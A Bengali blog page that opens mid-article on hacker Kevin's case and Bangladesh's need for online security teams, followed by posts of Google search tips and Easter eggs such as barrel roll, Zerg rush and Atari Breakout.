নেটওয়ার্ক শক্তিশালী করার কাজে৷ কিভাবে? জানতে চেয়েছিলাম জাকারিয়া স্বপনের কাছে, কেভিনের মতো এতোবড় হ্যাকারকেও কিন্তু মার্কিন যুক্তরাষ্ট্র প্রথমাবস্থায় শাস্তি দেয়নি৷ তাকে অনেকবার সতর্ক করা হয়েছে, তাকে নেটওয়ার্ক সুরক্ষার কাজে ব্যবহার করা হয়েছে৷ এরপর তাকে শাস্তি হিসেবে ২১ বছর তথ্য প্রযুক্তি ব্যবহার থেকে দুরে থাকতে বলা হয়েছে৷ তবে কেভিনকে কিন্তু কোন জেল-জরিমানা করা হয়নি৷
হ্যাকারদের কাছ থেকে নেটওয়ার্ক নিরাপদ রাখতে নিয়মিতই চলছে গবেষণা৷ অরিজিন্যাল সফটওয়্যার ব্যবহার করে ওয়েবসাইট তৈরি করলে তা অনেকটাই হ্যাকারমুক্ত রাখা সম্ভব৷ তার উপর হ্যাকারদের আটকানোর জন্য বিশ্বব্যাপী বিভিন্ন গোয়েন্দা সংস্থাও বেশ তত্‌পর৷ বিশেষজ্ঞদের মতে, নিরাপদ অনলাইন নেটওয়ার্ক বজায় রাখতে হলে ভালোভাবে ওয়েবসাইট তৈরির পাশাপাশি বাংলাদেশের আইন শৃংখলা নিয়ন্ত্রণকারী সংস্থাতেও বিশেষভাবে প্রশিক্ষিত অনলাইন সিকিউরিটি টিম তৈরি করতে হবে৷ এই টিমকে কাজ করতে হবে অন্যান্য দেশের নিরাপত্তা সংস্থাগুলোর সঙ্গে৷ আর এভাবেই বাংলাদেশে নিরাপদ অনলাইন জগত তৈরি করা সম্ভব৷ আর সেটা বেশ জরুরি৷ কারণ অদূর ভবিষ্যতে বাংলাদেশেও চালু হতে পারে অনলাইন নির্ভর কেনাকাটা, বাণিজ্য৷ আর তখন নিরাপদ নেটওয়ার্ক প্রয়োজন হবে সবচেয়ে বেশি৷

Labels:

১০টি এমন টিপস যা আপনার গুগল সার্চের অভিজ্ঞতা বদলে দিবে

১০টি এমন টিপস যা আপনার গুগল সার্চের অভিজ্ঞতা বদলে দিবে

                     ১. খুব সহজে টাইমার তৈরি করতে পারেন গুগলে।
২. কোন শিল্পীর কিংবা ব্যান্ডের গানের তালিকা সহজেই পেতে পারেন গুগলে।
৩. প্রিয় লেখকের বইয়ের তালিকা দরকার ? সাহায্য নিন গুগলের।
৪. ফ্লাইটের তথ্য দেখতে পারেন গুগলের মাধ্যমে।
৫. আগামীকাল সূর্যোদয় কখন ? গুগলকে জিজ্ঞাসা করে দেখুন।
৬. বিখ্যাত প্রতিষ্ঠানের প্রতিষ্ঠাতার নাম জানতে চান ? গুগল করেই দেখুন।
৭. Recursion লিখে গুগলে সার্চ দিলে গুগলের মাথা খারাপ হয়ে যায় নাকি ?
৮. Festivus লিখে সার্চ দিন, বাম পাশে একটি অ্যালুমিনিয়াম বার দেখাবে।
৯. zerg rush লিখে সার্চ দিলে গেম শুরু হয়ে যাবে সার্চ রেজাল্ট পেজে।
১০. কোন শব্দের উৎপত্তি এবং বিস্তারিত পেতে চাইলে নিচের মত চেষ্টা করে দেখতে পারেন।





Labels:

Google এর ১০ টি লুকানো রহস্য

ইন্টারনেটে ভিবিন্ন তথ্য খোঁজার জন্য আমরা গুগলের সাহায্য নিয়ে থাকি । কিন্তু এমন কিছু Google এর সুবিধা আছে যা আমরা সকলে জানি না বলে সেই সকল সুবিধা থেকে বঞ্চিত হচ্ছি । তাই আসুন জেনে নেই এমন কিছু লুকানো রহস্য ।
*প্রধান শহরের আবহাওয়া বার্তা (রহস্য – ১)
বিশ্বের প্রধান প্রধান শহরের আবহাওয়া বার্তা পাওয়া। এজন্য Google এর Search Box এ “Weather” কথাটি লিখে তারপর শহরের নাম লিখতে হবে।দেখুন ঐ শহরের আবহাওয়া সম্পর্কে সব তথ্য পেয়ে যাবেন ।
*ইকুয়েশনের উত্তর বের করা (রহস্য – ২)
সহজ থেকে জটিল ইকুয়েশনের উত্তর দিবে Google. যোগ, বিয়োগ, গুন, ভাগ যাই হোক না কেন যত জটিলই হোক না কেন খুব সহজে Google এর মাধ্যমে উত্তর পাওয়া যাবে। এজন্য Google এর Search Box এ শুধু ইকুয়েশন টি লেখলেই হবে। ইকুয়েশন এর জন্য গানিতিক প্রতীক –
+ যোগফলের জন্য
-বিয়োগ করার জন্য
* গুন করার জন্য
/ ভাগ করার জন্য
% ভাগশেষ বের করার জন্য
^ এক্সপোনেন্সিয়াল এর জন্য (X to the power of Y)
বর্গমূল বের করার জন্য sqrt লিখে তার পেছনে সংখ্যাটি লিখতে হবে।
*ওয়েব সাইট এর তথ্য পাওয়া (রহস্য – ৩)
যে কোন ওয়েব সাইট এর প্রাসঙ্গিক তথ্য পাওয়া কজুব সহজে পাওয়া যায়। যা গবেষক ও সার্চ ইঞ্জিন অপটিমাইজেশন এ খুব কাজে লাগে। প্রাসঙ্গিক তথ্য বলতে ঐ ওয়েব সাইট এর বর্ণনা, ক্যাশড পেজ, সমজাতিয় পেজ, ঐ সাইট এর বিভিন্ন Link, যে যে Web Site এ ঐ সাইট এর লিঙ্ক আছে ইত্যাদি।
এজন্য info: লিখে ওয়েব অ্যাড্রেস টি লিখতে হবে।
*এক মুদ্রাকে অন্য মুদ্রায় রুপান্তর (রহস্য – ৪)
খুব সহজে এক দেশের মুদ্রাকে অন্য দেশের মুদ্রায় কত হবে তা জানা যায়। একটি উদাহরনের মাধ্যমে জেনে নিন কিভাবে করা যায় এই কাজ। যেমনঃ ১০০ US Dollar কে আপনি আরব আমিরাত এর দিরহাম এ পরিবর্তন করবেন এজন্য Google এর Search Box এ লিখুন 100 usd in aed লিখলেই দেখবেন ১০০ US Dollar দিরহামে কত হয় তা দেখাবে। কিন্তু দুর্ভাগ্য Google বাংলাদেশী টাকায় রুপান্তর করতে পারেনা।
*ওজন, আয়তন ইত্যাদি ইউনিট রুপান্তর (রহস্য – ৫)
এখন আর কোন সফটওয়্যার এর সাহায্য নেওয়া লাগবে না। Google ই আপনাকে এক ইউনিট থেকে অন্য ইউনিট এ Convert করে দিবে। যে ইউনিট কে রুপান্তর করতে চান সেটির নাম লিখে তারপর in লিখে পরবর্তী ইউনিট এর নাম লিখতে হবে। যেমনঃ 100 feet in meter
*বিমানের ফ্লাইটের সময়সূচী (রহস্য – ৬)
বিমান বন্দরে আসা বা ছেড়ে যাওয়া ফ্লাইট এর সময়সূচি জানতে পারবেন Google এর মাধ্যমে। এজন্য Google এর Search বক্সে – এয়ারলাইন এবং ফ্লাইট নম্বর লিখুন এবং Enter দিন। একটি নির্দিষ্ট বিমানবন্দরে বিভিন্ন ফ্লাইটের বিলম্ব সম্বন্ধেও জানতে পারবেন। এজন্য শহরের নাম অথবা বিমানবন্দরের তিন অক্ষরের কোড নাম লিখে তারপর লিখতে হবে airport লিখতে হবে।
*UPS, FedEx, USPS প্যাকেজ শিপিং সংক্রান্ত তথ্য (রহস্য – ৭)
UPS বা FedEx এর মত বিশ্ববিখ্যাত কুরিয়ার সার্ভিসে আপনার পাঠানো মালামালের ট্র্যাকিং নম্বর সরাসরি Google এর Search বক্সে দিলে আপনার মালামালের বর্তমান স্ট্যাটাস জানতে পারবেন আপনি।
*আভিধানিক অর্থ খুঁজতে সাহায্য (রহস্য – ৮)
কোন কিছুর অর্থ জানার জন্য Search বক্সে define লিখে একটি স্পেস দিন তারপর যে শব্দটির সংজ্ঞা বা অর্থ জানতে চান তা লিখে Enter দিন তবে অর্থ বের হয়ে যাবে।
*কোন শহর বা দেশের স্থানীয় সময় জানা (রহস্য – ৯)
কোন শহর বা দেশের স্থানীয় সময় জানার জন্য Search বক্সে লিখুন time তারপর স্পেস দিয়ে শহরের বা দেশের নাম। তাহলেই আপনাকে ঐ দেশের বা শহরের স্থানীয় সময় দেখিয়ে দিবে।
*কোন দেশ বা শহরের মানচিত্র দেখা (রহস্য – ১০)
যেকোনো দেশ বা শহরের মানচিত্র দেখাবে আপনাকে Google. এজন্য Search বক্সে ঐ শহর বা দেশের নাম লিখে একটি স্পেস দিন তারপর map কথাটি লিখুন। তাহলে Search Result এর শুরুতেই ঐ দেশ বা শহরের একটি প্রমাণ সাইজ এর মানচিত্র দেখানো হবে। আবার ঐ মানচিত্রে ক্লিক করলেই গুগল ম্যাপস থেকে সেটি বড় করে দেখাবে।
গুগল এর এমন আরও বহু রহস্য রয়েছে যা আমরা অনেকেই জানি না। আসলে গুগল হল রহস্যের ভাণ্ডার।

Labels:

গুগল এর মজার কিছু টিপস

গুগল কিন্তু মজা করা থেকে বিরত থাকেনা। বরং সব সময়ই দেখা যায় গুরুত্বপূর্ণ দিনগুলতে গুগলের আগমন ঘটে একটু ভিন্নভাবে।
 এছাড়া ওয়েব দুনিয়ার কোন এক কোনে এই কোম্পানিটি আপনার জন্যে লুকিয়ে রেখেছে না না মজার সব আয়োজন যা আপনি দেখেননি এতদিন। চলুন দেখে নিই গুগলের মজার সব তথ্যঃ
গুগল সার্চ: যদিও গুগল সার্চ হচ্ছে আপনার অজানা সব প্রশ্নের সমাধান কিন্তু অনেক সময় এই সার্চইঞ্জিনটি দারুণ মজার রূপে নিজেকে প্রকাশ করে। মজার সব তথ্য যা আপনি জানেন না
অ্যাসকিও (Askew): যখনই আপনি “askew” এবং “tilt’’ শব্দ দুটি খুঁজতে যাবেন তখন দেখবেন উইন্ডোটি একটু অন্যভাবে আসবে।
ব্যারেল রোল (Barrel roll): গুগল কে যদি “do a barrel roll” জিজ্ঞাসা করেন তবে দেখুন কি হয়! আপনার স্ক্রিনটি ৩৬৫ ডিগ্রি ঘুরে আবার ঠিক হবে।
বেকন নাম্বার (Bacon number): ক্যালভিন বেকন হলিউডের একজন স্বনামধন্য অভিনেতা। তিনি হলিউডে প্রচুর কাজ করেছেন ফলে যে কোন অভিনেতার কাজ ক্যালভিনের কাজের সাথে তুলনা করে নাম্বারিং করতে পারবেন।
প্রতিটি অভিনেতার কাজকে মূল্যায়ন করতেই গুগলের এই ভিন্ন পদক্ষেপ। যদি কেউ কোন সেলিব্রেটির নাম টাইপ করে তবে ” বেকন সংখ্যা ” দ্বারা অনুসরণ করে সেলেব্রিটি ফুটলুজ স্টার হিসেবে তিনি কতটা যুক্ত তা বের করে।

Labels:

Monday, August 21, 2017

Google এর সাথে খেলুন মজার মজার গেইমস

পৃথিবীর অন্যতম সার্চ ইঞ্জিন হল গুগল। আপনারা সবায় হয়ত গুগল এর সাথে অনেক মজা করেছেন। চলুন আজকে আমাদের গুগল মামার সাথে দুইটি গেইমস খেলে মজা করি। এই ট্রিক্স হয়ত সবায় জানেন। যারা জানেন না তাদের জন্য। তাহলে চলুনoogle এ খেলুন গেইম ১ ( Atari breakout )
  •  আপনারা সবায় এই গেইমটির সাথে পরিচিত । এই গেইমটি ছোটবেলায় কেও খেলেনি এমন লোক পাওয়া দুস্কর । তাহলে চলুন আজ আবার খেলি সেই চিরচেনা গেইম
  • প্রথমে google image এ ভিসিট করুন।
  • সার্চ বারে লিখুন Atari breakout এবার ইমেজ সার্চ করুন
  • এবার এন্টার দিন ২ সেকেন্ড অপেক্ষা করুন । শুরু হয়ে যাবে ছোটবেলার সেই গেইম
Google এ খেলুন গেইম ২ ( Arcade Game)
  • এই গেইমটি অনেক মজার। আপনারা গুগলের সার্চ লোগোতে দেখেছেন অনেকগুলু o থাকে যেমন Goooooooooole
  • এই গেইমটিতে আপনার সার্চ রেসাল্ট এর চারপাশ থেকে ছুটে আসবে সেই O অক্ষরগুলু এবং আপনার সার্চ রেজাল্টকে আঘাত করে ভাঙ্গবে । আপনার কাজ হল সেই অক্ষর গুলা টিপে টিপে ভাঙ্গতে হবে । তাহলে চলুন খেলি
  • প্রথমে Google web সার্চ করুন
  • সার্চ করুন Zerg rush শব্দটি লিখে
  • এবার কয়েক সেকেন্ড এর মধ্যে গেইম চালু হয়ে যাবে
  • খেলার শেষে স্কোর দেখতে পারবেন।

Labels: